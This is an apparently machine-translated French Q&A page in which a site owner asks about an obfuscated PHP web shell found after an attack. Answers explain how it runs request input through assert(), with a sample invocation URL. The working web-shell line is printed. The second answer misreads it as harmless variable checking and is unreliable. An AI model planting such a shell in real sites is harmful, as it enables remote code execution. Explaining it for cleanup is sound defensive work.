web-dev-qa-db-fra.com

Que fait ce code PHP PHP suspect?

Je nettoie un site Web après une attaque qui a entraîné le téléchargement de nombreux PHP shells. J'ai trouvé et supprimé le code suivant:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

Pourriez-vous me dire ce que ça fait? Comment ${'a'} conduit à l'exécution de code? Le code injecté est-il envoyé par la demande POST?

18
user136206

Il s'agit d'un shell Web obscurci qui permet l'exécution de code à distance.

Le script alimente $_REQUEST['e'] Dans la fonction assert() . Cela évalue le paramètre de demande e en PHP. Utilisez-le comme ceci:

http://example.com/Shell.php?e=phpinfo()

assert() est une fonction de débogage pour évaluer les assertions. Mais si vous lui donnez une chaîne arbitraire, elle sera exécutée comme une expression PHP. C'est une façon élégante d'éviter eval() pour empêcher la détection des logiciels malveillants .

Voici l'extrait reformaté et commenté:

 <? php 
 // Assurez-vous que le paramètre de demande e est fourni 
 if (isset ($ _ REQUEST ['e']))) {
 // Complicate static analyse en assemblant "assert" à partir de plusieurs chaînes 
 $ b = "ass". "ert"; 
 // Évaluez l'assertion (oui, dans PHP vous pouvez "appeler" une chaîne comme nom de fonction) 
 $ a = $ b ($ _ REQUEST ['e']); 
 // Junk. L'assertion a déjà été exécutée, cela ne fait rien 
 $ {'a'}; 
} 
?> 

Comment ${'a'} Conduit-il à l'exécution de code?

Ce n'est pas le cas. $b($_REQUEST['e']) est l'endroit où s'exécute l'assertion. Le code fonctionne sans ${'a'}.

Le code injecté est-il envoyé par la demande POST?

$_REQUEST permet d'envoyer le paramètre via GET et POST.

45
Arminius

Décomposons-le.

$b="ass"."ert"

Cela créera une variable "b" avec "ass" concaténée avec "ert" pour former "assert".

$a=$b($_REQUEST['e']);

Puisque b = 'assert', cela évaluera assert () en passant ce qui est 'e' dans la requête. Assert est une fonction qui vérifiera si ce qui est transmis est faux ( http://php.net/manual/en/function.assert.php ).

${'a'} 

Cela ne fait rien. C'est la même chose que $ a.

Si le pirate transmet un quelque chose comme "e" dans la demande en demandant la page votredomaine.com/thephpfile.php?e=1%3D2, le navigateur convertira% 3D en signe "=" et e sera "1 = 2 '.

Mettons-le ensemble.

$ {'assert (1 = 2)'}

Cela retournera 1 car il affirme que le résultat est faux.

Cela peut être utilisé pour vérifier les variables dans votre page php en vérifiant si une variable est égale à ce qu'elles transmettent.

Faites-moi savoir si vous avez besoin d'éclaircissements.

5
MikeSchem